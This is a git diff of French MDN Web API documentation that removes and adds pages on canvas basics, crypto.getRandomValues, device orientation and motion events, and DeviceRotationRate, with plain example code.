diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/utilisation_de_base/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/utilisation_de_base/index.html deleted file mode 100644 index 6182dee589..0000000000 --- a/files/fr/web/api/canvas_api/tutoriel_canvas/utilisation_de_base/index.html +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: Utilisation de base des canvas -slug: Web/API/Canvas_API/Tutoriel_canvas/Utilisation_de_base -tags: - - Canvas - - Graphismes - - HTML - - Tutoriel_canvas - - Tutoriels -translation_of: Web/API/Canvas_API/Tutorial/Basic_usage ---- -

{{CanvasSidebar}} {{PreviousNext("Tutoriel_canvas", "Tutoriel_canvas/Formes_géométriques")}}

- -

L'élément <canvas>

- -

Commençons par regarder l'élément {{HTMLElement("canvas")}} lui-même.

- -
<canvas id="tutoriel" width="150" height="150"></canvas>
-
- -

Ceci ressemble beaucoup à l'élément <img>. La seule différence est qu'il n'y a pas les attributs src et alt. L'élément <canvas> a seulement deux attributs : {{htmlattrxref ("width", "canvas")}} et {{htmlattrxref ("height", "canvas")}} (« largeur » et « hauteur »). Ces deux attributs sont optionnels et peuvent aussi être fixés à travers le DOM. Quand les attributs width et height ne sont pas spécifiés, le canvas sera initialement large de 300 pixels et haut de 150 pixels. Les dimensions du canvas peuvent être modifiés par du CSS, mais l'image sera dessinée selon les valeurs width et height du canvas et ensuite étirée pour afficher dans l'espace donné par le CSS.

- -
-

Note : Si l'image semble déformée, essayez de spécifier de manière explicite vos attributs width et height dans l'élément <canvas>, et de ne pas utiliser de CSS.

-
- -

L'attribut id n'est pas spécifique à l'élément <canvas>. C'est en fait un des attributs HTML de base qui peut être utilisé par presque tous les éléments HTML. C'est toujours mieux d'assigner une id car ça facilite beaucoup l'identification du canvas dans le code javascript.

- -

L'élément <canvas> peut être stylisé comme n'importe quelle image normale (marges, contours, arrière-plan, etc). Si aucun style n'est donné, le canvas sera par défaut complètement transparent. Il faut noter que peu importe quels styles sont utilisés, le style n'affectera pas l'acte de dessiner sur le canvas. Nous verrons en détail la stylisation des canvas plus tard dans ce tutoriel.

- -
-

Contenu de repli

- -

Puisque certains plus anciens navigateurs ne supportent pas l'élément {{HTMLElement("canvas")}} (les plus communs étant les versions d'Internet Explorer avant la version 9), il est mieux d'avoir du contenu de repli pour afficher.

- -

Heureusement, c'est très facile : il faut tout simplement mettre le contenu dans l'élément <canvas> lui-même. Les navigateurs qui ne supportent pas <canvas> vont afficher ce contenu de repli, et ceux qui supportent <canvas> vont l'ignorer et dessiner le canvas.

- -

Le contenu de repli pourrait, par exemple, donner une description texte du canvas, ou afficher une image fixe comme aperçu de ce que le canvas dessinerait de façon dynamique.

- -
<canvas id="stockGraph" width="150" height="150">
-  current stock price: $3.15 + 0.15
-</canvas>
-
-<canvas id="clock" width="150" height="150">
-  <img src="images/clock.png" width="150" height="150" alt=""/>
-</canvas>
- -

La nécessité de la balise </canvas>

- -

Au contraire de l'élément {{HTMLElement("img")}}, l'élément {{HTMLElement("canvas")}} requiert la balise fermante (</canvas>).

- -
-

Note : Bien que quelques unes des premières versions du navigateur Safari ne requièrent pas la balise fermante, la spécification HTML indique qu'elle est nécessaire, alors il est mieux de l'inclure pour avoir le plus de compatibilité possible. Ces anciennes versions de Safari (avant la version 2.0) affichent le contenu de repli en plus que le canvas lui-même, sauf si vous utilisez des trucs CSS pour le masquer. Heureusement, il y a très peu d'utilisateurs de ces vieilles versions de Safari de nos jours.

-
- -

Si vous n'avez pas besoin de contenu de repli, un simple <canvas id="foo" ...></canvas> est totalement compatible avec tous les navigateurs qui ont pris en charge la fonctionnalité canvas.

- -

Le contexte de rendu

- -

L'élément {{HTMLElement("canvas")}} crée une surface pour dessiner à grandeur fixe. Cette surface expose un ou plusieurs contextes de rendu, qui sont utilisés pour créer et manipuler le contenu affiché. Ce tutoriel se concentrera sur le contexte de rendu 2D. D'autres contextes permettent d'autres types de rendu, tel que le contexte WebGL, qui utilise un contexte 3D ("experimental-webgl") inspiré de OpenGL ES.

- -

Initialement, le canvas est vide. Pour afficher quelque chose,  un script doit commencer par accéder au contexte de rendu pour pouvoir dessiner dessus. L'élément {{HTMLElement("canvas")}} a une méthode nommée getContext(), qui peut être utilisée pour obtenir le contexte de rendu et ses fonctions de dessin. getContext() a comme seul paramètre le type de contexte. Pour des graphiques 2D, comme ceux utilisés dans ce tutoriel, il faut spécifier "2d".

- -
var canvas = document.getElementById('tutorial');
-var ctx = canvas.getContext('2d');
- -

La première ligne obtient le {{HTMLElement("canvas")}} dans le DOM en appelant {{domxref("document.getElementById()")}}. Lorsque nous avons l'élément canvas, nous pouvons accéder au contexte de rendu en utilisant sa méthode getContext().

- -
-

Vérification de la prise en charge

- -

Le contenu de repli est affiché dans les navigateurs qui ne prennent pas en charge l'élément {{HTMLElement("canvas")}}. Les scripts peuvent aussi vérifier la prise en charge de manière programmatique en vérifiant la présence de la méthode getContext(). Notre extrait de code ci-dessus se transforme donc en ceci :

- -
var canvas = document.getElementById('tutorial');
-
-if (canvas.getContext) {
-  var ctx = canvas.getContext('2d');
-  // code de dessin dans le canvas
-} else {
-  // code pour le cas où canvas ne serait pas supporté
-}
-
-
- -

Un modèle basique

- -

Voici un modèle minimaliste, que nous allons utiliser comme point de départ dans des futurs exemples.

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="utf-8"/>
-    <title>Canvas tutorial</title>
-    <script type="text/javascript">
-      function draw() {
-        var canvas = document.getElementById('tutorial');
-        if (canvas.getContext) {
-          var ctx = canvas.getContext('2d');
-        }
-      }
-    </script>
-    <style type="text/css">
-      canvas { border: 1px solid black; }
-    </style>
-  </head>
-  <body onload="draw();">
-    <canvas id="tutorial" width="150" height="150"></canvas>
-  </body>
-</html>
- -

Ce script contient une fonction draw(), qui est exécutée lorsque la page a fini de charger. Ce résultat est obtenu en utilisant l'événement de chargement du document. Cette fonction, ou une fonction similaire, pourrait aussi être appelé en utilisant {{domxref("window.setTimeout()")}}, {{domxref("window.setInterval()")}}, ou n'importe quel autre gestionnaire d'événement, tant que la page est chargée en premier.

- -

Voici à quoi le modèle ressemble :

- -

{{EmbedLiveSample("Un_modèle_basique", 160, 160)}}

- -

Un exemple simple

- -

Pour commencer, observons un exemple simple qui dessine deux rectangles qui s'intersectent, un d'entre eux ayant de la transparence alpha. Nous verrons plus en détail comment ça marche dans les exemples suivants.

- -
<!DOCTYPE html>
-<html>
- <head>
-  <meta charset="utf-8"/>
-  <script type="application/javascript">
-    function draw() {
-      var canvas = document.getElementById("canvas");
-      if (canvas.getContext) {
-        var ctx = canvas.getContext("2d");
-
-        ctx.fillStyle = 'rgb(200, 0, 0)';
-        ctx.fillRect(10, 10, 50, 50);
-
-        ctx.fillStyle = 'rgba(0, 0, 200, 0.5)';
-        ctx.fillRect(30, 30, 50, 50);
-      }
-    }
-  </script>
- </head>
- <body onload="draw();">
-   <canvas id="canvas" width="150" height="150"></canvas>
- </body>
-</html>
- -

Cet exemple ressemble a ceci :

- -

{{EmbedLiveSample("Un_exemple_simple", 160, 160, "https://mdn.mozillademos.org/files/228/canvas_ex1.png")}}

- -

{{PreviousNext("Tutoriel_canvas", "Tutoriel_canvas/Formes_géométriques")}}

diff --git a/files/fr/web/api/crypto/getrandomvalues/index.html b/files/fr/web/api/crypto/getrandomvalues/index.html new file mode 100644 index 0000000000..28682a0c2a --- /dev/null +++ b/files/fr/web/api/crypto/getrandomvalues/index.html @@ -0,0 +1,75 @@ +--- +title: RandomSource.getRandomValues() +slug: Web/API/RandomSource/getRandomValues +tags: + - API + - Cryptographie + - Methode(2) + - Méthode + - Reference + - Référence(2) +translation_of: Web/API/Crypto/getRandomValues +--- +

{{APIRef("Web Crypto API")}}

+ +

La méthode RandomSource.getRandomValues() permet d’obtenir des valeurs pseudo-aléatoires cryptographiquement satisfaisantes. Le tableau donné en paramètre est rempli avec des nombres pseudo-aléatoires.

+ +

Pour garantir une performance suffisante, les implémentations n’utilisent pas un vrai générateur de nombres aléatoires, mais un générateur de nombres pseudo-aléatoires semé avec une valeur ayant suffisamment d'{{Glossary("entropie")}}. Les générateurs utilisés d’une implémentation à une autre seront différents mais toujours satisfaisants pour une utilisation en cryptographie. Les implémentations doivent également utiliser une graine ayant suffisamment d’entropie, comme une source d’entropie au niveau du système.

+ +

Syntaxe

+ +
cryptoObj.getRandomValues(typedArray);
+ +

Paramètres

+ +
+
typedArray
+
Un {{jsxref("TypedArray")}} de nombres entiers, qui est un {{jsxref("Int8Array")}}, un {{jsxref("Uint8Array")}}, un {{jsxref("Uint16Array")}}, un {{jsxref("Int32Array")}}, ou encore un {{jsxref("Uint32Array")}}. Tous les éléments du tableau seront subsitués avec des nombres aléatoires.
+
+ +

Exceptions

+ +
    +
  • Une {{exception("QuotaExceededError")}} {{domxref("DOMException")}} est levée si la taille de la requête est plus grand que 65 536 octets.
    • +
+ +

Exemple

+ +
/* on part du principe ici que window.crypto.getRandomValues est disponible */
+
+var array = new Uint32Array(10);
+window.crypto.getRandomValues(array);
+
+console.log("Your lucky numbers:");
+for (var i = 0; i < array.length; i++) {
+    console.log(array[i]);
+}
+
+ +

Spécification

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Crypto API', '#RandomSource-method-getRandomValues')}}{{Spec2('Web Crypto API')}}Initial definition
+ +

Compatibilité des navigateurs

+ +
{{Compat("api.Crypto.getRandomValues")}}
+ +

Voir aussi

+ +
    +
  • {{ domxref("Window.crypto") }} pour obtenir un objet {{domxref("Crypto")}}.
    • +
  • {{jsxref("Math.random")}}, une source non cryptographique de nombres aléatoires.
    • +
diff --git a/files/fr/web/api/cssmatrix/index.html b/files/fr/web/api/cssmatrix/index.html deleted file mode 100644 index 2b5039986e..0000000000 --- a/files/fr/web/api/cssmatrix/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: CSSMatrix -slug: Web/API/CSSMatrix -tags: - - API - - Reference -translation_of: Web/API/DOMMatrix -translation_of_original: Web/API/CSSMatrix ---- -
-
{{APIRef("CSSOM")}}{{Non-standard_header}}
- -

Une CSSMatrix représente une matrice homogène 4x4 dans laquelle il est possible d'appliquer des transformations 2D ou 3D. Cette classe faisait à un moment partie du module de transitions CSS (Level 3) mais elle n'a pas été propagée dans le brouillon de travail (Working Draft) actuel. Utilisez plutôt DOMMatrix.

- -

Compatibilé des navigateurs

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari
Support simple{{CompatUnknown}}{{CompatUnknown}}10[1]{{CompatUnknown}}{{CompatVersionUnknown}}[2]
-
- -
- - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Support simple{{CompatUnknown}}{{CompatUnknown}}11[1]{{CompatUnknown}}{{CompatVersionUnknown}}[2]
-
- -

[1] Internet Explorer a  intégré cette API en tant que MSCSSMatrix. Dans la version 11 l'alias WebKitCSSMatrix a été ajouté.

- -

[2] WebKit a intégré cette API en tant que WebKitCSSMatrix.

- -

Voir aussi

- - -
diff --git a/files/fr/web/api/detecting_device_orientation/index.html b/files/fr/web/api/detecting_device_orientation/index.html new file mode 100644 index 0000000000..63d99497df --- /dev/null +++ b/files/fr/web/api/detecting_device_orientation/index.html @@ -0,0 +1,289 @@ +--- +title: Détecter l'orientation de l'appareil +slug: WebAPI/Detecting_device_orientation +tags: + - Device Orientation + - Firefox OS + - Mobile + - Motion + - Orientation +translation_of: Web/API/Detecting_device_orientation +--- +

{{SeeCompatTable}}

+ +

Résumé

+ +

De plus en plus d'appareils connectés à Internet sont capable de déterminer leur orientation. C'est-à-dire qu'ils peuvent fournir des données indiquant des changements dans leur orientation par rapport à la gravité. En particulier les appareils portables, comme les téléphones mobiles, peuvent utiliser cette information pour effectuer automatiquement une rotation de l'écran, afin de toujours proposer la meilleure disposition possible pour le contenu à afficher.

+ +

Il existe deux événements JavaScript pour gérer l'orientation. Le premier est {{domxref("DeviceOrientationEvent")}}, qui est envoyé quand l'accéléromètre détecte un changement d'orientation de l'appareil. En recevant et en analysant les données fournies par ces événements d'orientation, il est possible de répondre de manière interactive aux changements d'orientation et d'élévation causés par les mouvements imprimés à l'appareil par l'utilisateur.

+ +

Le second événement est {{ domxref("DeviceMotionEvent") }}, qui est envoyé quand un changement d’accélération est ajouté. Il est différent de {{domxref("DeviceOrientationEvent")}}, car il écoute les changements d'accélération par opposition à l'orientation. Parmi les capteurs capables de détecter {{ domxref("DeviceMotionEvent") }}, on trouve les capteurs des ordinateurs portables utilisés pour protéger des chutes les périphériques de stockage. Ils sont communément présents dans les appareils mobiles (tablettes, téléphones intelligents).

+ +

Traitement des événements d'orientation

+ +

Tout ce dont vous avez besoin pour commencer à recevoir les changements d'orientation est d’écouter l’événement {{ event("deviceorientation") }} :

+ +
+

Note: gyronorm.js est un polyfill pour normaliser les données de l'accéléromètre et du gyroscope sur les appareils mobiles. C'est utile pour surmonter certaines différences dans la prise en charge des périphériques pour l'orientation du périphérique.

+
+ +
window.addEventListener("deviceorientation", handleOrientation, true);
+
+ +

Après l’enregistrement de votre gestionnaire d'événements (event listener en anglais), dans ce cas, une fonction JS appelée handleOrientation(), votre fonction d'écoute est appelée périodiquement pour récupérer les données de l'orientation mise à jour.

+ +

L'événement d'orientation contient quatre valeurs ::

+ +
    +
  • {{domxref("DeviceOrientationEvent.absolute")}}
    • +
  • {{domxref("DeviceOrientationEvent.alpha")}}
    • +
  • {{domxref("DeviceOrientationEvent.beta")}}
    • +
  • {{domxref("DeviceOrientationEvent.gamma")}}
    • +
+ +

La fonction gérant l’événement pourrait ressembler à ceci :

+ +
function handleOrientation(event) {
+  var absolute = event.absolute;
+  var alpha    = event.alpha;
+  var beta     = event.beta;
+  var gamma    = event.gamma;
+
+  // Faites quelque chose avec les données acquises. ;)
+}
+
+ +

Détail des valeurs d'orientation

+ +

La valeur reportée pour chaque axe indique l'angle de rotation autour d'un axe donné, en référence à un système de coordonnées standard. Ces valeurs sont décrites de façon plus détaillée dans cet article Orientation et déplacement expliquée.

+ +
    +
  • La valeur {{ domxref("DeviceOrientationEvent.alpha") }} représente le mouvement de l'appareil, autour de l'axe « z », en degrés sur une échelle de 0° à 360° ;
    • +
  • La valeur {{ domxref("DeviceOrientationEvent.beta") }} représente le mouvement de l'appareil autour de l'axe « y » en degrés, sur une échelle de -180° à 180°.  Cela représente le mouvement d'avant en arrière de l'appareil ;
    • +
  • La valeur {{ domxref("DeviceOrientationEvent.gamma") }} représente le mouvement de l'appareil autour de l'axe « x », exprimée en degrés sur une échelle de -90° à 90°. Cela représente le mouvement de gauche à droite de l'appareil.
    • +
+ +

Exemple d'orientation

+ +

Cet exemple fonctionne sur tout navigateur supportant l’événement {{event("deviceorientation")}} et sur tout appareil capable de détecter son orientation.

+ +

Imaginons une balle dans un jardin :

+ +
<div class="jardin">
+  <div class="balle"></div>
+</div>
+
+<pre class="resultat"></pre>
+
+ +

Ce jardin fait 200 pixels de long (Oui c'est un « petit » jardin !), et la balle est au centre :

+ +
.jardin {
+  position: relative;
+  width : 200px;
+  height: 200px;
+  border: 5px solid #CCC;
+  border-radius: 10px;
+}
+
+.balle {
+  position: absolute;
+  top   : 90px;
+  left  : 90px;
+  width : 20px;
+  height: 20px;
+  background: green;
+  border-radius: 100%;
+}
+
+ +

Maintenant, on définit le déplacement de la balle en fonction de celui de l'appareil :

+ +
var jardin = document.querySelector('.jardin'),
+    balle = document.querySelector('.balle'),
+    resultat = document.querySelector('.resultat'),
+    maxX = jardin.clientWidth  - balle.clientWidth,
+    maxY = jardin.clientHeight - balle.clientHeight;
+
+function handleOrientation(event) {
+  var x = event.beta,  // En degré sur l'interval [-180,180].
+      y = event.gamma; // En degré sur l'interval [-90,90].
+
+  resultat.innerHTML  = "beta : " + x + "<br />";
+  resultat.innerHTML += "gamma: " + y + "<br />";
+
+  // Parce-que l'on ne veut pas avoir l'appareil à l'envers.
+  // On restreint les valeurs de x à l'intervalle [-90,90].
+  if (x >  90) { x =  90};
+  if (x < -90) { x = -90};
+  // Pour rendre le calcul plus simple.
+  // On délimite l'intervalle de x et y sur [0, 180].
+  x += 90;
+  y += 90;
+
+  // 10 est la moitié de la taille de la balle.
+  // Cela centre le point de positionnement au centre de la balle.
+
+  balle.style.top  = (maxX * x / 180 - 10) + "px";
+  balle.style.left = (maxY * y / 180 - 10) + "px";
+}
+
+window.addEventListener('deviceorientation', handleOrientation);
+
+ +

Et voici le résultat en temps réel :

+ +
{{EmbedLiveSample("Exemple_d'orientation", '230', '260')}}
+ +
 
+ +
{{LiveSampleLink("Exemple_d'orientation", "Cliquez ici")}} pour ouvrir cet exemple dans une nouvelle fenêtre;  l'événement {{event("deviceorientation")}} ne marche pas dans les {{HTMLElement("iframe", "iframes")}} cross-origin dans tous les navigateurs.
+ +
 
+ +
+

Attention : Chrome et Firefox ne gèrent pas les angles de la même façon, certaines directions sur les axes sont inversées.

+
+ +

Traiter les événement de mouvement

+ +

Les événements de mouvement gèrent l'orientation de la même façon à l'exception près qu’ils portent un nom d’événement différent : {{event("devicemotion")}}

+ +
window.addEventListener("devicemotion", handleMotion, true);
+
+ +

Ce qui change réellement est l'information fournie par l'objet {{ domxref("DeviceMotionEvent") }} passée comme paramètre par la fonction HandleMotion.

+ +

Les événements de mouvement contiennent quatre propriétés :

+ +
    +
  • {{domxref("DeviceMotionEvent.acceleration")}}
    • +
  • {{domxref("DeviceMotionEvent.accelerationIncludingGravity")}}
    • +
  • {{domxref("DeviceMotionEvent.rotationRate")}}
    • +
  • {{domxref("DeviceMotionEvent.interval")}}
    • +
+ +

Explication des valeurs de mouvement

+ +

L'objet {{ domxref("DeviceMotionEvent") }} fourni aux développeurs Web des informations sur la vitesse de changement d'orientation et de position de l'appareil. Les changements rapportés sont fournis pour les trois axes (voir Orientation et déplacement expliquées pour les détails).

+ +

Pour {{domxref("DeviceMotionEvent.acceleration","acceleration")}} et {{domxref("DeviceMotionEvent.accelerationIncludingGravity","accelerationIncludingGravity")}}, Les axes correspondent à :

+ +
    +
  • x : représente l'axe d'Ouest en Est ;
    • +
  • y : représente l'axe Sud vers Nord :
    • +
  • z : représente l'axe perpendiculaire au sol.
    • +
+ +

Pour {{domxref("DeviceMotionEvent.rotationRate","rotationRate")}}, c'est un peu différent. L'information correspond à :

+ +
    +
  • alpha : représente le ratio de rotation le long de l'axe perpendiculaire à l'écran (ou du clavier au bureau) ;
    • +
  • bêta : représente le ratio de rotation le long de l'axe allant de la gauche vers la droite de l'écran (ou du clavier au bureau) ;
    • +
  • gamma : représente le ratio de rotation le long de l'axe allant du bas vers le haut de l'écran (ou clavier vers le bureau).
    • +
+ +

Au final, {{domxref("DeviceMotionEvent.interval","interval")}} représente l'intervalle de temps, en millisecondes, pour les données générées par l'appareil.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Spécification initiale.
+ +

Compatibilité des navigateurs

+ +

{{CompatibilityTable()}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
{{domxref("DeviceOrientationEvent")}}7.03.6[1]
+ 6		{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}
{{domxref("DeviceMotionEvent")}}{{CompatVersionUnknown()}}6{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
{{domxref("DeviceOrientationEvent")}}3.03.6[1]
+ 6		{{ CompatNo() }}{{ CompatNo() }}4.2
{{domxref("DeviceMotionEvent")}}{{ CompatVersionUnknown() }}6{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

Notes d'implementation pour Gecko 

+ +
    +
  1. Firefox 3.6, 4, et 5 supportent mozOrientation au lieu de l'événement standard {{domxref("DeviceOrientationEvent")}}.
    2. +
+ +

Voir aussi

+ + diff --git a/files/fr/web/api/devicemotioneventrotationrate/alpha/index.html b/files/fr/web/api/devicemotioneventrotationrate/alpha/index.html new file mode 100644 index 0000000000..b5ea61916c --- /dev/null +++ b/files/fr/web/api/devicemotioneventrotationrate/alpha/index.html @@ -0,0 +1,103 @@ +--- +title: DeviceRotationRate.alpha +slug: Web/API/DeviceRotationRate/alpha +tags: + - API + - DOM + - Mobile + - Propriétés + - Vitesse + - axes + - rotation + - z +translation_of: Web/API/DeviceMotionEventRotationRate/alpha +translation_of_original: Web/API/DeviceRotationRate/alpha +--- +

{{ ApiRef("Device Orientation Events") }}

+ +

Cette propriété indique la vitesse de rotation autour de l'axe Z -- en degrés par seconde -- dans un objet {{ domxref("DeviceRotationRate") }}.

+ +

Syntaxe

+ +
var alpha = deviceRotationRate.alpha;
+
+ +

Cette propriété est en lecture seule.

+ +

Valeur retournée

+ +
+
alpha
+
Un double indiquant la vitesse de rotation autour de l'axe Z, en degrés par seconde. Voir Détecter l'orientation de l'appareil pour plus de détails.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/fr/web/api/devicemotioneventrotationrate/beta/index.html b/files/fr/web/api/devicemotioneventrotationrate/beta/index.html new file mode 100644 index 0000000000..75fa4b5ced --- /dev/null +++ b/files/fr/web/api/devicemotioneventrotationrate/beta/index.html @@ -0,0 +1,105 @@ +--- +title: DeviceRotationRate.beta +slug: Web/API/DeviceRotationRate/beta +tags: + - API + - DOM + - Orientation + - Propriétés + - Vitesse + - axes + - rotation + - x +translation_of: Web/API/DeviceMotionEventRotationRate/beta +translation_of_original: Web/API/DeviceRotationRate/beta +--- +

{{ ApiRef("Device Orientation Events") }}

+ +

Cette propriété indique la vitesse de rotation autour de l'axe X -- en degrés par seconde -- dans un objet {{ domxref("DeviceRotationRate") }}.

+ +

Syntaxe

+ +
var beta = deviceRotationRate.beta;
+
+ +

Cette propriété est en lecture seule.

+ +

Valeur retournée

+ +
+
beta
+
Un double indiquant la vitesse de rotation autour de l'axe X, en degrés par seconde. Voir Détecter l'orientation de l'appareil pour plus de détails.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/fr/web/api/devicemotioneventrotationrate/gamma/index.html b/files/fr/web/api/devicemotioneventrotationrate/gamma/index.html new file mode 100644 index 0000000000..bd4731d90c --- /dev/null +++ b/files/fr/web/api/devicemotioneventrotationrate/gamma/index.html @@ -0,0 +1,105 @@ +--- +title: DeviceRotationRate.gamma +slug: Web/API/DeviceRotationRate/gamma +tags: + - API + - DOM + - Mobile + - Orientation + - Propriétés + - axes + - rotation + - 'y' +translation_of: Web/API/DeviceMotionEventRotationRate/gamma +translation_of_original: Web/API/DeviceRotationRate/gamma +--- +

{{ ApiRef("Device Orientation Events") }}

+ +

Cette propriété indique la vitesse de rotation autour de l'axe Y -- en degrés par seconde -- dans un objet {{ domxref("DeviceRotationRate") }}.

+ +

Syntaxe

+ +
var gamma = deviceRotationRate.gamma;
+
+ +

Cette propriété est en lecture seule.

+ +

Valeur retournée

+ +
+
gamma
+
Un double indiquant la vitesse de rotation autour de l'axe Y, en degrés par seconde. Voir Détecter l'orientation d'un appareil pour plus de détails.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/fr/web/api/devicemotioneventrotationrate/index.html b/files/fr/web/api/devicemotioneventrotationrate/index.html new file mode 100644 index 0000000000..f6cf9b4988 --- /dev/null +++ b/files/fr/web/api/devicemotioneventrotationrate/index.html @@ -0,0 +1,100 @@ +--- +title: DeviceRotationRate +slug: Web/API/DeviceRotationRate +tags: + - API + - Coordonnées + - DOM + - Mobile + - Vitesse + - rotation +translation_of: Web/API/DeviceMotionEventRotationRate +translation_of_original: Web/API/DeviceRotationRate +--- +

{{ ApiRef("Device Orientation Events") }} {{SeeCompatTable}}

+ +

Un objet DeviceRotationRate fournit une information sur la vitesse avec laquelle un appareil est en rotation autour des 3 axes.

+ +

Propriétés

+ +
+
{{ domxref("DeviceRotationRate.alpha") }} {{readonlyInline}}
+
La vitesse de rotation autour de l'axe Z, en degrés par seconde.
+
{{ domxref("DeviceRotationRate.beta") }} {{readonlyInline}}
+
La vitesse de rotation autour de l'axe X, en degrés par seconde.
+
{{ domxref("DeviceRotationRate.gamma") }} {{readonlyInline}}
+
La vitesse de rotation autour de l'axe Y, en degrés par seconde.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/fr/web/api/deviceorientationevent.absolute/index.html b/files/fr/web/api/deviceorientationevent.absolute/index.html deleted file mode 100644 index 3b1c6f593a..0000000000 --- a/files/fr/web/api/deviceorientationevent.absolute/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: DeviceOrientationEvent.absolute -slug: Web/API/DeviceOrientationEvent.absolute -translation_of: Web/API/DeviceOrientationEvent/absolute ---- -

{{ ApiRef() }}

- -

Sommaire

- -

Indique si l'appareil partage des données en référentiel absolut c'est à dire sur avec des cordonnées issu du référentiel terrestre, ou si il partage des données utilisant un référentiel arbitraire déterminé par l'appareil. Voir Orientation et mouvement expliqué pour plus de détails.

- -

Syntaxe

- -
var absolute = instanceOfDeviceOrientationEvent.absolute;
-
- -

DeviceOrientationEvent.absolute retourne un booléen :

- -
    -
  • true : si les données d'orientation dans instanceOfDeviceOrientationEvent est proposer dans un référentiel terrestre.
    • -
  • false : si les données d'orientation utilisent un référentiel arbitraire.
    • -
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationStatutsCommentaires
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Initial specification.
- -

Compatibilité entre les navigateurs

- -

{{ page("/en-US/docs/Web/API/DeviceOrientationEvent","Browser_compatibility") }}

- -

Voir aussi

- - - -

{{ event("deviceorientation") }}

diff --git a/files/fr/web/api/deviceorientationevent/absolute/index.html b/files/fr/web/api/deviceorientationevent/absolute/index.html new file mode 100644 index 0000000000..3b1c6f593a --- /dev/null +++ b/files/fr/web/api/deviceorientationevent/absolute/index.html @@ -0,0 +1,56 @@ +--- +title: DeviceOrientationEvent.absolute +slug: Web/API/DeviceOrientationEvent.absolute +translation_of: Web/API/DeviceOrientationEvent/absolute +--- +

{{ ApiRef() }}

+ +

Sommaire

+ +

Indique si l'appareil partage des données en référentiel absolut c'est à dire sur avec des cordonnées issu du référentiel terrestre, ou si il partage des données utilisant un référentiel arbitraire déterminé par l'appareil. Voir Orientation et mouvement expliqué pour plus de détails.

+ +

Syntaxe

